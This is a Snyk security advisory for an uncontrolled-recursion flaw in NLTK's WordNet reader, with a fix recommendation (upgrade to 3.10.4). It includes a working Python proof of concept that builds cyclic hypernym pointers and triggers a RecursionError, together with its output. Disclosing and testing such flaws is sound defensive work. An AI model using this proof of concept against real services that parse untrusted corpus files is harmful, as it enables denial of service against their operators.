Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Uncontrolled Recursion vulnerabilities in an interactive lesson.
Start learningUpgrade nltk to version 3.10.4 or higher.
nltk is a Natural Language Toolkit (NLTK) is a Python package for natural language processing.
Affected versions of this package are vulnerable to Uncontrolled Recursion via the max_depth, min_depth, hypernym_paths, and hypernym_distances methods on the Synset class in nltk/corpus/reader/wordnet.py, which traverse the hypernym pointer graph by direct recursion with no visited-node set and no depth cap. An attacker who supplies a WordNet data.<pos> corpus file containing a cyclic or over-deep hypernym pointer graph can cause these methods to recurse without bound, raising an uncaught RecursionError that aborts any worker process that does not catch it. Under a raised or removed recursion limit, unbounded recursion can instead exhaust the native stack and abort the process entirely. The @ hypernym pointer offsets are parsed and stored verbatim with no graph-shape validation, giving the attacker full control over the graph topology.
Requires only the nltk package under test on PYTHONPATH; no network or WordNet data download. The reader is instantiated with __new__ to skip unrelated OMW/lexname loading, the same technique NLTK's own recursion-DoS hardening test uses; the parser and the walker under test are unmodified library code.
WordNetCorpusReader without its unrelated data-loading side effects.@ (hypernym) pointers reference each other, forming a 2-cycle.Synset.max_depth() on one of them.import sys sys.setrecursionlimit(1500) from nltk.corpus.reader.wordnet import WordNetCorpusReaderreader = WordNetCorpusReader.new(WordNetCorpusReader) reader._synset_offset_cache = {"n": {}} reader._lexnames = ["adj.all"] reader._lemma_pos_offset_map = {"w88": {"n": [88]}, "w99": {"n": [99]}}
def make(offset, partner): line = f"{offset:08d} 00 n 01 w{offset} 0 001 @ {partner:08d} n 0000 | gloss" s = reader._synset_from_pos_and_line("n", line) reader._synset_offset_cache["n"][offset] = s return s
a = make(88, 99) b = make(99, 88) print("hypernym pointers:", dict(a._pointers)) print("hypernyms():", a.hypernyms()) try: a.max_depth() print("returned normally") except RecursionError: print("VULNERABLE: max_depth() recursed without bound -> RecursionError")
hypernym pointers: {'@': {('n', 99)}}
hypernyms(): [Synset('w99.n.01')]
VULNERABLE: max_depth() recursed without bound -> RecursionError
Note: Requires only the nltk package under test on PYTHONPATH, with no network or WordNet data download, using a WordNetCorpusReader instantiated via new to skip unrelated OMW/lexname loading.